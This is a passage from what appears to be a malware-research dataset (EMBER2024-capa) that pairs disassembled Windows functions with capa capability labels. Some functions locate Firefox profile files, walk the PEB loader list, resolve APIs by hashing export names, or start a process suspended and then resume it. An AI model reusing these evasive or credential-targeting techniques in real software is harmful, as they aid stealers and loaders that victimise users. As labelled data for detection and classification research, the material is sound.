joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5280d0
Capabilities:
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x270
mov dword [ebp - 0x270], ebx
mov dword [ebp - 0x26c], esi
mov dword [ebp - 0x268], edi
mov dword [ebp - 0x264], 0
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x23c], 0
lea ecx, [ebp - 0x21c]
lea edx, [ebp - 0x234]
mov eax, 1
call fcn.0040b250
call fcn.0040d0d0
push eax
test eax, eax
jne 0x52832b
lea eax, [ebp - 0x108]
push eax
push 0
push 0
push 0x1a
push 0
call sub.shell32.dll_SHGetFolderPathA
lea eax, [ebp - 0x23c]
call fcn.00403a80
mov dword [ebp - 0x23c], 0
lea eax, [ebp - 0x24c]
call fcn.00403a80
mov dword [ebp - 0x24c], 0
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x108]
mov cl, 1
mov edx, 0x104
call fcn.00407310
lea edi, [ebp - 0x248]
lea esi, [ebp - 0x24c]
cld
movsd dword es:[edi], dword [esi]
mov eax, str.MozillaFirefox_
mov dword [ebp - 0x244], eax
mov eax, str.Profiles.ini
mov dword [ebp - 0x240], eax
lea edx, [ebp - 0x248]
lea eax, [ebp - 0x23c]
mov ecx, 2
call fcn.004070b0
mov eax, dword [ebp - 0x23c]
test eax, eax
jne 0x5281d7
mov eax, 0x580e00
mov ebx, eax
push ebx
push 0x104
lea eax, [ebp - 0x210]
push eax
mov eax, 0x57dddc
push eax
mov eax, str.Path
push eax
mov eax, str.Profile0
push eax
call sub.kernel32.dll_GetPrivateProfileStringA
lea eax, [ebp - 0x24c]
call fcn.00403a80
mov dword [ebp - 0x24c], 0
lea eax, [ebp - 0x260]
call fcn.00403a80
mov dword [ebp - 0x260], 0
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x108]
mov cl, 1
mov edx, 0x104
call fcn.00407310
lea edi, [ebp - 0x25c]
lea esi, [ebp - 0x260]
cld
movsd dword es:[edi], dword [esi]
mov eax, str.MozillaFirefox_
mov dword [ebp - 0x258], eax
lea eax, [ebp - 0x264]
call fcn.00403a80
mov dword [ebp - 0x264], 0
lea eax, [ebp - 0x264]
push eax
lea eax, [ebp - 0x210]
mov cl, 1
mov edx, 0x104
call fcn.00407310
lea edi, [ebp - 0x254]
lea esi, [ebp - 0x264]
cld
movsd dword es:[edi], dword [esi]
mov eax, 0x57d24c
mov dword [ebp - 0x250], eax
lea edx, [ebp - 0x25c]
lea eax, [ebp - 0x24c]
mov ecx, 3
call fcn.004070b0
mov eax, dword [ebp - 0x24c]
test eax, eax
jne 0x5282c5
mov eax, 0x580e00
mov ebx, eax
lea eax, [ebp - 0x264]
call fcn.00403a80
mov dword [ebp - 0x264], 0
push 3
lea eax, [ebp - 0x264]
push eax
lea eax, [ebp - 0x260]
call fcn.00403a80
mov dword [ebp - 0x260], 0
lea edx, [ebp - 0x260]
mov eax, ebx
call fcn.004072b0
mov eax, dword [ebp - 0x260]
mov ecx, 0x57d24c
mov edx, 0x57ddfc
call fcn.0043c440
mov ebx, dword [ebp - 0x264]
test ebx, ebx
jne 0x52832b
mov ebx, 0x580e00
call fcn.0040b520
lea eax, [ebp - 0x264]
call fcn.00403a80
mov dword [ebp - 0x264], 0
lea eax, [ebp - 0x260]
call fcn.00403a80
mov dword [ebp - 0x260], 0
lea eax, [ebp - 0x24c]
call fcn.00403a80
mov dword [ebp - 0x24c], 0
lea eax, [ebp - 0x23c]
call fcn.00403a80
mov dword [ebp - 0x23c], 0
pop eax
test eax, eax
je 0x52838e
call fcn.0040b690
mov eax, ebx
mov ebx, dword [ebp - 0x270]
mov esi, dword [ebp - 0x26c]
mov edi, dword [ebp - 0x268]
leave
ret
Function at 0x528920
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], edx
mov ebx, dword [ebp + 8]
mov edx, dword [ebp - 4]
test edx, edx
jne 0x52893e
mov edx, 0x580e00
lea esi, [ebp + 0xc]
push esi
push ecx
lea ecx, [ebp - 8]
push ecx
push 0
push edx
push dword [eax + 0x10]
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x52895d
mov eax, 0xffffffff
jmp 0x5289a6
mov edx, dword [ebp - 8]
cmp edx, 1
jne 0x52896d
mov dword [ebx], 1
jmp 0x5289a3
mov edx, dword [ebp - 8]
cmp edx, 2
jne 0x52897d
mov dword [ebx], 2
jmp 0x5289a3
mov edx, dword [ebp - 8]
cmp edx, 4
jne 0x52898d
mov dword [ebx], 4
jmp 0x5289a3
mov edx, dword [ebp - 8]
cmp edx, 3
jne 0x52899d
mov dword [ebx], 3
jmp 0x5289a3
mov dword [ebx], 0
mov eax, dword [ebp + 0xc]
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebp - 0xc]
leave
ret 8

Function at 0x528ac0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], esi
mov ebx, eax
mov esi, edx
mov eax, esi
mov cl, 0
mov edx, 0x20
call fcn.00403540
lea eax, [ebp - 8]
push eax
push 0
lea eax, [esi + 0x10]
push eax
lea eax, [esi + 0xc]
push eax
lea eax, [esi + 8]
push eax
push 0
lea eax, [esi + 4]
push eax
mov eax, esi
push eax
push 0
push 0
push 0
push dword [ebx + 0x10]
call sub.advapi32.dll_RegQueryInfoKeyA
test eax, eax
sete bl
test bl, bl
je 0x528b28
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
call sub.kernel32.dll_FileTimeToSystemTime
lea eax, [ebp - 0x18]
call fcn.0043cc40
fstp qword [esi + 0x18]
mov al, bl
mov ebx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
leave
ret

Function at 0x528e50
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], edx
mov ebx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
test edx, edx
je 0x528e77
dec edx
je 0x528e7e
dec edx
je 0x528e85
dec edx
je 0x528e93
dec edx
je 0x528e8c
jmp 0x528e98
mov esi, 0
jmp 0x528e98
mov esi, 1
jmp 0x528e98
mov esi, 2
jmp 0x528e98
mov esi, 4
jmp 0x528e98
mov esi, 3
mov edx, dword [ebp - 4]
test edx, edx
jne 0x528ea4
mov edx, 0x580e00
push ebx
push ecx
push esi
push 0
push edx
push dword [eax + 0x10]
call sub.advapi32.dll_RegSetValueExA
test eax, eax
sete al
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
leave
ret 8
Function at 0x401000
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x440320
cmp edx, dword [eax]
je 0x401022
add eax, 8
inc ecx
cmp eax, 0x4403b0
jl 0x401013
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x440320]
jne 0x401150
mov eax, dword [0x4408e0]
cmp eax, 1
je 0x40112a
test eax, eax
jne 0x401053
cmp dword [0x440048], 1
je 0x40112a
cmp edx, 0xfc
je 0x401150
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40108a
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00418490
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00418050
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4010cd
lea eax, [ebp - 0x1a4]
push eax
call fcn.00418050
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x43ea24
push edi
call fcn.004188c0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00418490
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004184a0
lea eax, [ebp - 0xa0]
push 0x43ea04
push eax
call fcn.004184a0
push dword [esi + 0x440324]
lea eax, [ebp - 0xa0]
push eax
call fcn.004184a0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004049ae
add esp, 0x2c
pop edi
jmp 0x401150
lea eax, [ebp + 8]
lea esi, [esi + 0x440324]
push 0
push eax
push dword [esi]
call fcn.00418050
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x403485
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
imul eax, eax, 0x3b4
push esi
xor edx, edx
movzx esi, cl
xor esi, 2
div esi
xor edx, edx
mov esi, eax
mov eax, 0x225
div ecx
mov eax, 0xfc
and esi, edx
xor edx, edx
div dword [ebp + 0x18]
imul edx, ecx
xor edx, ecx
cmp dword [ebp + 8], 0xdd92
jne 0x403530
cmp dword [ebp + 0x10], 0xcaaf
jne 0x403519
cmp edx, 7
jbe 0x403530
cmp edx, 0xa
jbe 0x403530
cmp edx, 0x1b
jae 0x4034ec
movzx eax, si
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
jmp 0x403530
cmp edx, 0x21
je 0x403530
cmp edx, 0xd
jb 0x403530
mov eax, 0x2b75d2
cmp edx, eax
jne 0x403530
push 0xef68
push 0xeb1e
push eax
push 0xd903
call fcn.00403812
add esp, 0x10
jmp 0x403530
cmp dword [ebp + 0x10], 0x2a
jae 0x403530
movzx eax, word [ebp + 0x14]
add eax, 0x9d
push eax
push eax
call dword [sym.imp.USER32.dll_RemovePropA]
mov eax, dword [ebp + 0x18]
pop esi
pop ebp
ret
Function at 0x403536
Capabilities:
Parse credit card information
Print debug messages
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov dword [ebp - 4], 0x3e
movzx eax, word [ebp - 4]
xor edx, edx
mov ecx, 0x225
div ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
or al, 0xfa
mov dword [ebp - 4], eax
cmp word [ebp - 4], 0xfe
jne 0x40360e
cmp word [ebp - 4], 0x5e
jae 0x40358e
movzx eax, word [ebp - 4]
movzx ecx, word [ebp - 4]
xor edx, edx
div ecx
mov ecx, dword [ebp - 4]
sub ecx, eax
sub ecx, 0x27b
mov dword [ebp - 4], ecx
jmp 0x40361c
cmp word [ebp - 4], 0xfe
jne 0x4035a0
mov eax, 0x4219aa
mov dword [ebp - 0xc], eax
jmp 0x40361c
cmp word [ebp - 4], 0x64
jne 0x4035b0
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
jmp 0x40361c
cmp word [ebp - 4], 0x2b
jne 0x4035e2
movzx eax, word [ebp - 4]
push eax
movzx eax, word [ebp - 4]
push eax
movzx eax, word [ebp - 4]
push eax
movzx eax, word [ebp - 4]
push eax
movzx eax, word [ebp - 4]
push eax
movzx eax, word [ebp - 4]
push eax
movzx eax, word [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
jmp 0x40361c
cmp word [ebp - 4], 0x4f
ja 0x40361c
movzx eax, word [ebp - 4]
push 0x70
xor edx, edx
pop ecx
div ecx
add ecx, 0x2a
mov eax, edx
xor edx, edx
div ecx
mov ecx, 0x2f4
sub ecx, eax
mov eax, dword [ebp - 4]
xor ecx, eax
jmp 0x403586
cmp word [ebp - 4], 0xa
je 0x40365c
cmp word [ebp - 4], 0x33
jb 0x40365c
movzx eax, word [ebp - 4]
movzx ecx, word [ebp - 4]
xor edx, edx
div ecx
mov ecx, dword [ebp - 4]
sub ecx, 0x1aa
and eax, ecx
mov dword [ebp - 4], eax
cmp word [ebp - 4], 0x58
jne 0x403655
movzx eax, word [ebp - 4]
push 0x3b
xor edx, edx
pop ecx
div ecx
add eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
and eax, ecx
mov dword [ebp - 4], eax
jmp 0x4036af
cmp word [ebp - 4], 0x41
jne 0x403664
mov al, byte [ebp - 4]
jmp 0x403729
cmp word [ebp - 4], 0
jne 0x403674
add dword [ebp - 0xc], 0x934
jmp 0x4036af
cmp word [ebp - 4], 0x5c
jbe 0x403688
movzx eax, word [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x4036af
cmp word [ebp - 4], 0x3d
jbe 0x403698
mov eax, dword [ebp - 4]
or ax, 0x35e
jmp 0x403650
cmp word [ebp - 4], 0x3f
jne 0x4036af
movzx eax, word [ebp - 4]
xor edx, edx
mov ecx, 0x379
div ecx
mov dword [ebp - 0x10], edx
xor ecx, ecx
mov dword [ebp - 8], 0xbb
mov eax, dword [ebp - 8]
mov edx, 0x255
sub edx, eax
mov eax, dword [ebp - 8]
xor edx, eax
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
push 0x1a
xor edx, edx
pop esi
div esi
mov esi, eax
mov eax, dword [ebp - 8]
imul esi, eax
mov eax, 0x189
xor edx, edx
div dword [ebp - 8]
sub edx, esi
or dx, 0x158
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0xc]
mov al, byte [ecx + eax]
cmp al, byte [ebp + 8]
je 0x40372c
mov eax, dword [ebp - 0x10]
xor edx, edx
div dword [ebp - 0x10]
xor edx, edx
div dword [ebp - 8]
add eax, 0x654
mov edx, dword [ebp - 8]
and eax, edx
mov dword [ebp - 0x10], eax
inc ecx
cmp ecx, 0x40
jl 0x4036b1
movzx eax, word [ebp - 4]
xor eax, 0x2be
mov dword [ebp + 8], eax
xor al, al
pop esi
leave
ret
mov al, cl
jmp 0x403729
Function at 0x401000
Capabilities:
Accept command line arguments
Access peb ldr_data
Resume thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x78
push esi
push edi
lea eax, [esp + 0x14]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [esp + 0x10], eax
test eax, eax
je 0x401174
cmp dword [esp + 0x14], 1
jl 0x401174
xorps xmm0, xmm0
mov dword [esp + 0x38], 0x44
push str.KrkrUniversalPatch.dll
lea eax, [esp + 0x1c]
movlpd qword [esp + 0x40], xmm0
push eax
movlpd qword [esp + 0x4c], xmm0
movlpd qword [esp + 0x54], xmm0
movlpd qword [esp + 0x5c], xmm0
movlpd qword [esp + 0x64], xmm0
movlpd qword [esp + 0x6c], xmm0
movlpd qword [esp + 0x74], xmm0
movlpd qword [esp + 0x7c], xmm0
movaps xmmword [esp + 0x28], xmm0
call dword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov eax, dword fs:[0x30]
mov ecx, dword [eax + 0xc]
mov ecx, dword [ecx + 0x1c]
sub ecx, 0x10
mov edi, ecx
mov ecx, dword [ecx + 0x10]
sub ecx, 0x10
mov edx, dword [ecx + 0x30]
test edx, edx
je 0x4010e4
mov eax, dword [edx]
mov esi, dword [edx + 4]
and eax, 0xffdfffdf
and esi, 0xffdfffdf
cmp eax, 0x45004b
jne 0x4010e4
cmp esi, 0x4e0052
jne 0x4010e4
mov eax, dword [edx + 8]
mov esi, dword [edx + 0xc]
and eax, 0xffdfffdf
and esi, 0xffdfffdf
cmp eax, 0x4c0045
jne 0x4010e4
cmp esi, 0x120013
jne 0x4010e4
cmp word [edx + 0x10], 0x2e
je 0x4010ea
cmp edi, ecx
jne 0x401091
xor ecx, ecx
mov ecx, dword [ecx + 0x18]
mov edx, 0x638020fb
call fcn.004015c0
push 0
lea ecx, [esp + 0x24]
mov dword [0x4145a8], eax
push ecx
lea ecx, [esp + 0x40]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
push str.ailove.exe
push 0
push 0
call eax
test eax, eax
je 0x40115c
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x18]
mov ecx, dword [esp + 0x20]
sub esp, 0xc
push eax
call fcn.00401330
add esp, 0x10
push 0
push dword [esp + 0x28]
call dword [sym.imp.ntdll.dll_NtResumeThread]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
push 0x10
push str.Krkr_Universal_Patch
push str.Couldnt_Launch_Game
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4011e0
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, ecx
mov eax, 0x5a4d
push edi
cmp word [esi], ax
jne 0x401240
mov eax, dword [esi + 0x3c]
add eax, esi
cmp dword [eax], 0x4550
jne 0x401240
movzx ecx, word [eax + 0x18]
mov edx, 0x10b
cmp cx, dx
je 0x40121a
mov edx, 0x20b
cmp cx, dx
jne 0x401240
mov ecx, 0x88
jmp 0x40121f
mov ecx, 0x78
mov edx, dword [eax + 0x50]
lea edi, [eax + ecx]
mov ecx, edi
call fcn.004011a0
test eax, eax
je 0x401240
mov eax, dword [edi]
cmp dword [eax + esi + 0x1c], edx
jae 0x401240
pop edi
mov eax, 1
pop esi
ret
pop edi
xor eax, eax
pop esi
ret
Function at 0x401250
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, edx
mov dword [ebp - 8], ebx
push esi
push edi
mov edi, ecx
test ebx, ebx
je 0x40126d
call fcn.004011e0
test eax, eax
je 0x4012d2
mov ecx, dword [edi + 0x3c]
test ebx, ebx
jne 0x401280
lea eax, [edi + 0x28]
pop edi
pop esi
add eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ecx + edi + 0x88]
add ecx, edi
mov eax, dword [ecx + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ecx + 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ecx + 0x20]
lea esi, [edi + eax*4]
mov eax, dword [ecx + 0x24]
lea ebx, [edi + eax*2]
mov edx, dword [esi]
xor eax, eax
add edx, edi
mov cl, byte [edx]
test cl, cl
je 0x4012c1
nop dword [eax]
rol eax, 0xd
lea edx, [edx + 1]
movzx ecx, cl
xor eax, ecx
mov cl, byte [edx]
test cl, cl
jne 0x4012b0
cmp eax, dword [ebp - 8]
je 0x4012db
add ebx, 2
add esi, 4
sub dword [ebp - 4], 1
jne 0x4012a1
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
movzx eax, word [ebx]
add eax, dword [ebp - 0xc]
lea eax, [edi + eax*4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4015c0
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], edx
push ebx
push esi
push edi
mov edi, ecx
test edx, edx
je 0x4015de
call fcn.004011e0
test eax, eax
je 0x401642
mov edx, dword [ebp - 4]
mov eax, dword [edi + 0x3c]
mov ecx, 0x20b
add eax, edi
cmp word [eax + 0x18], cx
je 0x401656
test edx, edx
jne 0x4015f7
add eax, 0x28
jmp 0x40165d
mov eax, dword [eax + 0x78]
add eax, edi
mov ecx, dword [eax + 0x18]
mov esi, dword [eax + 0x20]
mov ebx, dword [eax + 0x24]
add esi, edi
mov dword [ebp - 8], ecx
mov ecx, dword [eax + 0x1c]
add ecx, edi
add ebx, edi
mov dword [ebp - 0xc], ecx
mov edx, dword [esi]
xor eax, eax
add edx, edi
mov cl, byte [edx]
test cl, cl
je 0x401631
rol eax, 0xd
lea edx, [edx + 1]
movzx ecx, cl
xor eax, ecx
mov cl, byte [edx]
test cl, cl
jne 0x401620
cmp eax, dword [ebp - 4]
je 0x40164b
add ebx, 2
add esi, 4
sub dword [ebp - 8], 1
jne 0x401614
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movzx eax, word [ebx]
mov ecx, dword [ebp - 0xc]
lea eax, [ecx + eax*4]
jmp 0x40165d
mov ecx, edi
call fcn.00401250
test eax, eax
je 0x401665
mov eax, dword [eax]
add eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x14], eax
push 0x4160e3
mov eax, dword [ebp - 0x14]
push eax
call fcn.004010b0
add esp, 8
push 9
lea ecx, [ebp - 0x10]
push ecx
push 0x4160dc
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x401095
mov dword [ebp - 4], 0
lea edx, [ebp - 0x10]
mov dword [ebp - 0x18], edx
jmp 0x40104d
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 9]
cmp dword [ebp - 0x18], ecx
ja 0x40108e
mov edx, dword [ebp - 4]
shl edx, 4
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax]
cmp ecx, 0x39
jg 0x401077
mov edx, dword [ebp - 0x18]
movsx eax, byte [edx]
sub eax, 0x30
mov dword [ebp - 0x1c], eax
jmp 0x401083
mov ecx, dword [ebp - 0x18]
movsx edx, byte [ecx]
sub edx, 0x57
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 4]
or eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
jmp 0x401044
mov eax, dword [ebp - 4]
jmp 0x4010a4
mov ecx, dword [0x4177e0]
push ecx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x401730
Capabilities:
Query environment variable
Set environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
cmp dword [0x416a70], 0
je 0x401754
jmp 0x4018d7
mov dword [0x416a70], 1
push 0x417800
call fcn.00401fb4
add esp, 4
mov dword [ebp - 0x10], eax
call fcn.00402104
call fcn.00401fd3
mov dword [0x417930], eax
call fcn.00409b00
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x20], eax
push 0x4160f3
mov eax, dword [ebp - 0x20]
push eax
call fcn.004010b0
add esp, 8
push 9
lea ecx, [ebp - 0x1c]
push ecx
push str.ada_cth
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x401810
mov dword [ebp - 4], 0
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x24], edx
jmp 0x4017c9
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x15]
cmp dword [ebp - 0x24], ecx
ja 0x40180a
mov edx, dword [ebp - 4]
shl edx, 4
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x24]
movsx ecx, byte [eax]
cmp ecx, 0x39
jg 0x4017f3
mov edx, dword [ebp - 0x24]
movsx eax, byte [edx]
sub eax, 0x30
mov dword [ebp - 0x28], eax
jmp 0x4017ff
mov ecx, dword [ebp - 0x24]
movsx edx, byte [ecx]
sub edx, 0x57
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 4]
or eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
jmp 0x4017c0
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
mov edx, 1
test edx, edx
je 0x4018b5
cmp dword [ebp - 0xc], 0
jne 0x40183c
mov eax, dword [0x4177e4]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ecx, dword [0x4177e0]
push ecx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [ebp - 0xc]
cmp edx, dword [0x4177e4]
jne 0x4018a2
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 8], 0
je 0x40185f
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov dword [edx], eax
jmp 0x401893
cmp dword [ebp - 0xc], 0
je 0x401886
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.004010b0
add esp, 8
lea eax, [ebp - 0x1c]
push eax
push str.ada_cth
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
jmp 0x401893
push 0
push str.ada_cth
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov ecx, dword [0x4177e4]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x4018b5
mov edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov dword [ebp - 0xc], ecx
jmp 0x401810
call fcn.00401f90
call fcn.00409020
call fcn.0040ec70
call fcn.00402176
push 0
lea edx, [ebp - 0x10]
push edx
call fcn.004020a7
add esp, 8
mov esp, ebp
pop ebp
ret
Function at 0x401a5d
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov ebx, dword fs:[4]
mov ebx, dword [ebx - 4]
mov eax, dword [ebx + 0x20]
mov dword [ebx + 0xc], eax
dec byte [ebx + 0x24]
mov edx, dword [esp + 4]
mov ebx, dword [edx + 0x18]
mov eax, dword fs:[4]
mov dword [eax - 4], ebx
lea edi, [ebx + 0x30]
lea esi, [edx + 0x1c]
mov ecx, 0x40
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 8]
mov ebp, dword [edx + 4]
mov ebx, dword [edx]
mov esp, dword [edx + 8]
cmp byte [eax + 0x5d], 0xa
jne 0x401c67
mov edi, eax
mov esi, esp
mov esp, dword fs:[8]
add esp, 0xff8
mov ecx, dword fs:[8]
add ecx, 0x1000
push 0x4160fc
push 0x104
push 0x1000
push ecx
call sub.KERNEL32.dll_VirtualProtect
cmp eax, 0
jne 0x401c63
mov ecx, dword fs:[8]
add ecx, 0x1000
push 0x4160fc
push 1
push 0x1000
push ecx
call sub.KERNEL32.dll_VirtualProtect
cmp eax, 0
jne 0x401c63
pushal
mov eax, eax
push eax
push 0xfffffffffffffff4
call sub.KERNEL32.dll_GetStdHandle
push eax
cmp eax, 0xffffffff
je 0x401b1d
call fcn.00402c10
add esp, 8
popal
pushal
push 0x32
push str.ERROR:_Stack_could_not_be_protected_after_overflowEDI____ESI____ESP____ECXERROR:_Infinite_loop_detected_in_Ada_exception_manager__EIP
push 0xfffffffffffffff4
call sub.KERNEL32.dll_GetStdHandle
push eax
cmp eax, 0xffffffff
je 0x401b3e
call fcn.00402b50
add esp, 0xc
popal
pushal
push 0xfffffffffffffff4
call sub.KERNEL32.dll_GetStdHandle
push eax
cmp eax, 0xffffffff
je 0x401b55
call fcn.00402b70
add esp, 4
popal
pushal
push 4
push 0x416132
push 0xfffffffffffffff4
call sub.KERNEL32.dll_GetStdHandle
push eax
cmp eax, 0xffffffff
je 0x401b76
call fcn.00402b50
add esp, 0xc
popal
pushal
mov eax, edi
push eax
push 0xfffffffffffffff4
call sub.KERNEL32.dll_GetStdHandle
push eax
cmp eax, 0xffffffff
je 0x401b90
call fcn.00402c10
add esp, 8
popal
pushal
push 8
push 0x416136
push 0xfffffffffffffff4
call sub.KERNEL32.dll_GetStdHandle
push eax
cmp eax, 0xffffffff
je 0x401bb1
call fcn.00402b50
add esp, 0xc
popal
pushal
mov eax, esi
push eax
push 0xfffffffffffffff4
call sub.KERNEL32.dll_GetStdHandle
push eax
cmp eax, 0xffffffff
je 0x401bcb
call fcn.00402c10
add esp, 8
popal
pushal
push 8
push 0x41613e
push 0xfffffffffffffff4
call sub.KERNEL32.dll_GetStdHandle
push eax
cmp eax, 0xffffffff
je 0x401bec
call fcn.00402b50
add esp, 0xc
popal
pushal
mov eax, esp
push eax
push 0xfffffffffffffff4
call sub.KERNEL32.dll_GetStdHandle
push eax
cmp eax, 0xffffffff
je 0x401c06
call fcn.00402c10
add esp, 8
popal
pushal
push 8
push 0x416146
push 0xfffffffffffffff4
call sub.KERNEL32.dll_GetStdHandle
push eax
cmp eax, 0xffffffff
je 0x401c27
call fcn.00402b50
add esp, 0xc
popal
pushal
mov eax, ecx
push eax
push 0xfffffffffffffff4
call sub.KERNEL32.dll_GetStdHandle
push eax
cmp eax, 0xffffffff
je 0x401c41
call fcn.00402c10
add esp, 8
popal
pushal
push 0xfffffffffffffff4
call sub.KERNEL32.dll_GetStdHandle
push eax
cmp eax, 0xffffffff
je 0x401c58
call fcn.00402b70
add esp, 4
popal
push 1
call sub.KERNEL32.dll_ExitProcess
mov esp, esi
mov eax, edi
jmp ebx
Function at 0x40204a
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [edx + 8], eax
mov dword [edx], 0
mov dword [edx + 4], 0
mov byte [edx + 0x25], 1
mov byte [edx + 0x24], 0
mov eax, dword fs:[8]
add eax, dword [0x416194]
mov dword [edx + 0xc], eax
mov ecx, dword [ebp]
mov dword [edx + 0x1c], ecx
mov eax, dword fs:[4]
mov eax, dword [eax - 4]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov eax, dword fs:[4]
